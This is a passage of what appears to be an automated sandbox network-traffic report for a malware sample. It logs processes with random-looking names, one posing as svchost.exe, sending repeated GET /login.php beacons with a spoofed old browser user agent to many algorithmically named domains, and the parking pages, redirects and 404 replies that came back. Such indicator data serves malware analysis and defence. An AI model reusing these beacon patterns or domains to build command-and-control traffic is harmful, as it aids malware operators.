data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_gxX4uwSvW7ewWmeXquExbzweJwJXh6Dt0wdaPig23rcdoLc2tYdGy8xZNu9R4HNw0iexKGT3ftFy2kzvnVUpYw==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"> <link rel="preconnect
Nov 11, 2024 18:50:59.314394951 CET	656	IN	Data Raw: 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 69 64 3d 22 74 61 72 67 65 74 22 20 73 74 79 6c 65 Data Ascii: " href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiYjA5N2VhY2EtZWExYS00YThkLThiZWUtYTI5NjhjN2ViYTdiIiwicGFnZV90aW1lIjoxNzMxMzQ3NDU5LCJwYWdlX3VybCI6Imh0dHA6L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.6	53764	72.52.179.174	80	1112	C:\Windows\apppatch\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:01.220251083 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gatyhub.com

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.6	53766	72.52.179.174	80

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:01.741349936 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gatyhub.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.6	53772	162.255.119.102	80	6912	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:02.183851004 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gahyqah.com
Nov 11, 2024 18:51:02.686229944 CET	303	IN	HTTP/1.1 302 Found Date: Mon, 11 Nov 2024 17:51:02 GMT Content-Type: text/html; charset=utf-8 Content-Length: 55 Connection: keep-alive Location: http://www.gahyqah.com/login.php X-Served-By: Namecheap URL Forward Server: namecheap-nginx Data Raw: 3c 61 20 68 72 65 66 3d 27 68 74 74 70 3a 2f 2f 77 77 77 2e 67 61 68 79 71 61 68 2e 63 6f 6d 2f 6c 6f 67 69 6e 2e 70 68 70 27 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href='http://www.gahyqah.com/login.php'>Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.6	53773	99.83.170.3	80	6912	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:02.210110903 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: puzylyp.com
Nov 11, 2024 18:51:02.644588947 CET	166	IN	HTTP/1.1 308 Permanent Redirect Connection: close Location: https://puzylyp.com/login.php Server: Caddy Date: Mon, 11 Nov 2024 17:51:02 GMT Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.6	53774	44.221.84.105	80	6912	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:02.229973078 CET	352	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qetyfuv.com Cookie: snkz=66.23.206.109; btst=4373610fafa62658a68c9dde6ca5d09a\|66.23.206.109\|1731347428\|1731347428\|0\|1\|0
Nov 11, 2024 18:51:02.652961016 CET	335	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 11 Nov 2024 17:51:02 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=4373610fafa62658a68c9dde6ca5d09a\|66.23.206.109\|1731347462\|1731347428\|17\|2\|0; path=/; domain=.qetyfuv.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.6	53777	199.59.243.227	80

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:02.431566000 CET	305	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vojyqem.com Cookie: parking_session=1e890a73-ac3b-42d0-806f-39725fa4b723
Nov 11, 2024 18:51:02.851334095 CET	1236	IN	HTTP/1.1 200 OK date: Mon, 11 Nov 2024 17:51:02 GMT content-type: text/html; charset=utf-8 content-length: 1094 x-request-id: 11628aaa-9c01-4922-bd02-36f0e302c140 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_VMytHbmmrfMc+kzmiPYTt2uS2PDnHHj/p/2nCNN04G2eOrYX/LSI9ifattC96o92xCzWruQ65ql9+oondzcTDQ== set-cookie: parking_session=1e890a73-ac3b-42d0-806f-39725fa4b723; expires=Mon, 11 Nov 2024 18:06:02 GMT Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 56 4d 79 74 48 62 6d 6d 72 66 4d 63 2b 6b 7a 6d 69 50 59 54 74 32 75 53 32 50 44 6e 48 48 6a 2f 70 2f 32 6e 43 4e 4e 30 34 47 32 65 4f 72 59 58 2f 4c 53 49 39 69 66 61 74 74 43 39 36 6f 39 32 78 43 7a 57 72 75 51 36 35 71 6c 39 2b 6f 6f 6e 64 7a 63 54 44 51 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_VMytHbmmrfMc+kzmiPYTt2uS2PDnHHj/p/2nCNN04G2eOrYX/LSI9ifattC96o92xCzWruQ65ql9+oondzcTDQ==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"> <link rel="preconnect
Nov 11, 2024 18:51:02.851399899 CET	520	IN	Data Raw: 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 69 64 3d 22 74 61 72 67 65 74 22 20 73 74 79 6c 65 Data Ascii: " href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiMWU4OTBhNzMtYWMzYi00MmQwLTgwNmYtMzk3MjVmYTRiNzIzIiwicGFnZV90aW1lIjoxNzMxMzQ3NDYyLCJwYWdlX3VybCI6Imh0dHA6L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.6	53776	208.100.26.245	80	6912	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:02.490645885 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lyvyxor.com
Nov 11, 2024 18:51:02.871604919 CET	744	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.0 (Ubuntu) Date: Mon, 11 Nov 2024 17:51:02 GMT Content-Type: text/html Content-Length: 580 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Nov 11, 2024 18:51:09.178250074 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lyvyxor.com
Nov 11, 2024 18:51:09.281229019 CET	744	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.0 (Ubuntu) Date: Mon, 11 Nov 2024 17:51:09 GMT Content-Type: text/html Content-Length: 580 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.6	52119	3.94.10.34	80	6912	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:02.645026922 CET	352	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lymyxid.com Cookie: snkz=66.23.206.109; btst=3f95d6b3439c1d0f64626ac83ec297f1\|66.23.206.109\|1731347428\|1731347428\|0\|1\|0
Nov 11, 2024 18:51:03.076699018 CET	335	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 11 Nov 2024 17:51:03 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=3f95d6b3439c1d0f64626ac83ec297f1\|66.23.206.109\|1731347463\|1731347428\|17\|2\|0; path=/; domain=.lymyxid.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.6	52122	199.59.243.227	80	1220	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:02.676589012 CET	305	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vojyqem.com Cookie: parking_session=1e890a73-ac3b-42d0-806f-39725fa4b723
Nov 11, 2024 18:51:03.122396946 CET	1236	IN	HTTP/1.1 200 OK date: Mon, 11 Nov 2024 17:51:02 GMT content-type: text/html; charset=utf-8 content-length: 1094 x-request-id: f0a3a827-a1a8-4766-bafa-4589935061b4 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_VMytHbmmrfMc+kzmiPYTt2uS2PDnHHj/p/2nCNN04G2eOrYX/LSI9ifattC96o92xCzWruQ65ql9+oondzcTDQ== set-cookie: parking_session=1e890a73-ac3b-42d0-806f-39725fa4b723; expires=Mon, 11 Nov 2024 18:06:03 GMT Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 56 4d 79 74 48 62 6d 6d 72 66 4d 63 2b 6b 7a 6d 69 50 59 54 74 32 75 53 32 50 44 6e 48 48 6a 2f 70 2f 32 6e 43 4e 4e 30 34 47 32 65 4f 72 59 58 2f 4c 53 49 39 69 66 61 74 74 43 39 36 6f 39 32 78 43 7a 57 72 75 51 36 35 71 6c 39 2b 6f 6f 6e 64 7a 63 54 44 51 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_VMytHbmmrfMc+kzmiPYTt2uS2PDnHHj/p/2nCNN04G2eOrYX/LSI9ifattC96o92xCzWruQ65ql9+oondzcTDQ==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"> <link rel="preconnect
Nov 11, 2024 18:51:03.122451067 CET	520	IN	Data Raw: 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 69 64 3d 22 74 61 72 67 65 74 22 20 73 74 79 6c 65 Data Ascii: " href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiMWU4OTBhNzMtYWMzYi00MmQwLTgwNmYtMzk3MjVmYTRiNzIzIiwicGFnZV90aW1lIjoxNzMxMzQ3NDYzLCJwYWdlX3VybCI6Imh0dHA6L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.6	52123	208.100.26.245	80	1220	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:02.676775932 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lyvyxor.com
Nov 11, 2024 18:51:03.128988981 CET	744	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.0 (Ubuntu) Date: Mon, 11 Nov 2024 17:51:03 GMT Content-Type: text/html Content-Length: 580 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Nov 11, 2024 18:51:10.638961077 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lyvyxor.com
Nov 11, 2024 18:51:10.742697954 CET	744	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.0 (Ubuntu) Date: Mon, 11 Nov 2024 17:51:10 GMT Content-Type: text/html Content-Length: 580 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.6	52121	44.221.84.105	80	1220	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:02.676995039 CET	352	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qetyfuv.com Cookie: snkz=66.23.206.109; btst=4373610fafa62658a68c9dde6ca5d09a\|66.23.206.109\|1731347428\|1731347428\|0\|1\|0
Nov 11, 2024 18:51:03.122596025 CET	335	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 11 Nov 2024 17:51:03 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=4373610fafa62658a68c9dde6ca5d09a\|66.23.206.109\|1731347463\|1731347428\|17\|2\|0; path=/; domain=.qetyfuv.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
